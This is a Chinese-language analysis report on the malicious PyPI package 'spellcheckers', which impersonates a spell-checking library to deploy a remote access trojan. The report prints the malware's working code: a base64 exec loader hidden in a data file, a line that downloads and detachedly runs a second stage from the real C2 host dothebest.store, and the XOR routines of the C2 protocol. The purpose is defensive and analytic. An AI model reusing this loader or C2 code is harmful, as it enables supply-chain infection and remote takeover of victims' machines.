摘要
本報告針對近期一起涉及名為
spellcheckers
的惡意 Python 軟體套件的軟體供應鏈攻擊,提供詳細的技術分析。該套件透過 PyPI 儲存庫散播,偽裝成合法的拼字檢查工具,透過複雜的兩階段感染程序,部署了一個多層加密的遠端存取木馬 (Remote Access Trojan, RAT)。本分析著重於 Payload 執行、混淆技術、自訂加密協議,以及命令與控制 (C2) 通訊的整體架構。此案例突顯了套件儲存庫攻擊日益增加的複雜性,以及 Threat actor 所採用的進階規避技術,這些技術與其他當代多階段惡意軟體載入器有相似之處 [2] [3]。
1. 攻擊途徑簡介
PyPI 等開源軟體儲存庫的激增,已為現代軟體供應鏈帶來了關鍵的漏洞。Threat actor 利用人們對這些生態系統的信任,發布模仿流行、合法函式庫的惡意套件,這種技術被稱為「
typosquatting
」(拼寫錯誤佔用)或「依賴混淆」。本報告分析的套件
spellcheckers
,與廣泛使用的
pyspellchecker
組件極為相似,在被偵測到之前已獲得超過 950 次下載 [1]。此惡意軟體的主要目的是建立一個持續性的後門進行遠端控制,最終目標是竊取敏感的用戶資訊。
此感染鏈的特點是採用了多階段 Payload 傳輸系統,旨在最大限度地提高隱蔽性並規避靜態分析 [1]。這種方法與其他進階惡意軟體活動中觀察到的戰術一致,這些活動利用複雜的載入器來傳送最終 Payload [2]。
2. 感染鏈技術細節拆解
本次攻擊在兩個不同的階段中展開,每個階段都採用了不同的混淆和執行技術。
2.1. 階段 1: 本地 Payload 執行與 C2 通訊
初始入侵始於已安裝套件的執行。核心惡意邏輯隱藏在套件的功能程式碼中,特別是在
spellcheckers/detect.py
裡,它呼叫了一個索引函數 [1]。
spellcheckers/index.py
中的
run_index
方法是第一階段的關鍵。它讀取一個名為
ma_IN.index
的檔案,該檔案包含一個
Base64
編碼的字串。這種將惡意程式碼隱藏在看似無害的資料檔案中的技術是一種常見的規避戰術 [1]。
負責解碼和執行第一階段 Payload 的 Python 程式碼如下:
- def run_index(self, dictfile):
- # Construct the path to the hidden index file
- self.index_file = os.path.join(self.path, dictfile.split(".")[0] + ".index")
- with open(self.index_file, "rt") as f:
- encoded_index = f.read()
- try:
- # Decode the Base64 content
- decoded_index = base64.b64decode(encoded_index).decode("utf-8")
- # Execute the decoded Python script
- exec(decoded_index)
- except Exception as e:
- # Exception suppression to avoid detection
- pass
被解碼的 Payload 是一個短腳本,設計用於與命令與控制 (C2) 伺服器通訊並下載第二階段 Payload。
- import requests
- import subprocess
- # Fetch the second-stage payload (a Base64-encoded script) from the C2 server
- log = requests.get("https://dothebest.store/allow/inform.php").text
- # Execute the downloaded script in a new, detached process
- subprocess.Popen(
- (["python", "-c", log] if sys.platform == "win32" else ["python3", "-c", log]),
- stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
- close_fds=True, start_new_session=(sys.platform != "win32"),
- **({"creationflags": 0x208} if sys.platform == "win32" else {})
- )
此腳本使用
requests
函式庫從 C2 伺服器抓取下一階段,然後使用
subprocess.Popen
執行,確保惡意程序與父程序脫鉤執行,並抑制標準輸入/輸出 (I/O),這是隱蔽性和持續性工作的明確指標 [1]。
2.2. 階段 2: 自訂後門協議與 RAT 部署
第二階段是一個明顯更複雜的腳本,它作為核心的遠端存取木馬 (RAT) 運行,並實作了一個與 C2 伺服器之間的自訂通訊協議。此階段的特點是 雙層解密 和對網路流量使用 自訂加密 [1]。
2.2.1. 自訂加密與通訊協議
該惡意軟體對其 C2 通訊採用了
XOR
的自訂加密方案。主要的加密金鑰是一個 16 位元組的陣列:
Key = bytearray([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5])
[1]。
xor_encrypt_decrypt
函數負責處理發送請求資料的加密:
- def xor_encrypt_decrypt(data: bytes, key: bytearray) -> bytes:
- result = bytearray()
- for i in range(len(data)):
- # XOR operation with key byte, cycling through the key
- result.append(data[i] ^ key[i % len(key)])
- return bytes(result)
MakeRequestPacket
函數建構 C2 請求。它包括一個
hardcoded
的客戶端 ID (
szCID = "FD429DEABE"
) 和為受害者機器生成的一個唯一物件 ID (
szObjectID
)。Payload 資料,包括系統資訊 (
szPCode
和
szComputerName
),會先被編碼為
UTF-16LE
,然後使用 16 位元組的
Key
進行
XOR
加密,最後再進行
Base64
編碼,然後才發送到 C2 伺服器 [1]。
2.2.2. 雙層解密與指令執行
來自 C2 伺服器的
HTTP Response
會經過雙層解密程序。首先,對
Base64
編碼的
HTTP Response
進行解碼,然後使用相同的 16 位元組
Key
透過
xor_encrypt_decrypt
函數解密結果。
所得的內容 (
lpContent
) 結構包含一個 4 位元組的指令 ID (
nCMDID
) 和一個 4 位元組的資料長度 (
nDataLen
),接著是實際的指令資料 (
lpData
)。這種結構化格式是為惡意軟體 C2 通訊設計的自訂網路協議的典型特徵。
第二層解密應用於指令資料本身:
- def encrypt_decrypt(data: bytes, key: int) -> bytes:
- result = bytearray()
- for byte in data:
- # Simple single-byte XOR with a hardcoded key (123)
- encrypted_byte = byte ^ key
- result.append(encrypted_byte)
- return bytes(result)
- # ... later in the main loop ...
- lpData = encrypt_decrypt(lpData, 123)
這個最終解密的資料隨後使用
exec()
函數作為 Python 程式碼執行,允許 Threat actor 遠端執行任意指令 [1]。使用多層加密和自訂協議是一種高效的
反分析
技術,因為它需要大量的精力來逆向工程通訊和 Payload 結構 [2]。
3. 比較分析與規避技術
spellcheckers
攻擊展現出多項複雜供應鏈惡意軟體的共同特徵,特別是它對多階段傳輸和進階規避的依賴 [3]。
3.1. 多階段架構
兩階段方法具有關鍵目的: 將初始感染途徑與最終 Decoupling Payload 。
| 階段 | 主要功能 | 規避技術 | 與其他載入器的比較 |
|---|---|---|---|
| 階段 1 | 初始執行、C2 連繫、階段 2 下載。 |
在資料檔案 (
ma_IN.index
) 中進行
Base64
編碼、抑制例外。
|
類似於抓取主要載入器的初始 Dropper [3]。 |
| 階段 2 | RAT 部署、自訂 C2 通訊、指令執行。 | 雙層自訂 XOR 加密、結構化協議、脫鉤程序執行。 | 高度複雜,可與 HijackLoader 等進階載入器相比,該載入器使用多層解密和 shellcode 注入 [2]。 |
這種架構是為了應對現代資安工具。初始階段保持最小化並被大量混淆,以規避對套件本身的靜態分析。主要的惡意邏輯 (階段 2) 僅在執行時期下載,使自動化的沙箱環境難以捕獲完整的感染鏈 [3]。
3.2. 規避與反分析
該惡意軟體結合了數種技術來確保隱蔽性與持續性:
- 混淆: 對第一個 Payload 使用 Base64 編碼,以及對第二個 Payload 的 C2 流量使用自訂 XOR 加密是主要的混淆方法 [1]。
-
抑制例外:
run_index函數中的try...except Exception as e: pass程式區塊確保了如果解碼的 Payload 執行因任何原因失敗 (例如,在非標準分析環境中),程式會簡單地繼續執行而不會 crash 或記錄錯誤,從而避免偵測 [1]。 - 自訂協議: 結構化的 C2 通訊,包括 hardcoded 的客戶端 ID 和唯一的物件 ID,結合自訂加密,使得網路流量分析極具挑戰性。與標準協議不同,這種自訂格式需要特定的惡意軟體結構知識才能解讀資料串流。
4. 架構概述
惡意操作的整體流程可以視覺化為一個多階段程序,強調了初始 dropper 與最終 RAT/C2 handler 之間的分離關注點。
Malicious
PyPI Package] --> B(Stage 1:
Local Execution); B --> C{Read
ma_IN.index}; C --> D(Base64 Decode); D --> E(Execute
Initial Payload); E --> F{HTTP GET
from C2 Server}; F --> G(Download
Stage 2 Payload); G --> H(Execute
RAT Loader); H --> I{Establish
C2 Communication}; I --> J(Send Encrypted
System Info); J --> K{Receive
Encrypted Command}; K --> L(First Layer
Decryption); L --> M(Second Layer
Decryption); M --> N(Execute
Remote Command); N --> I;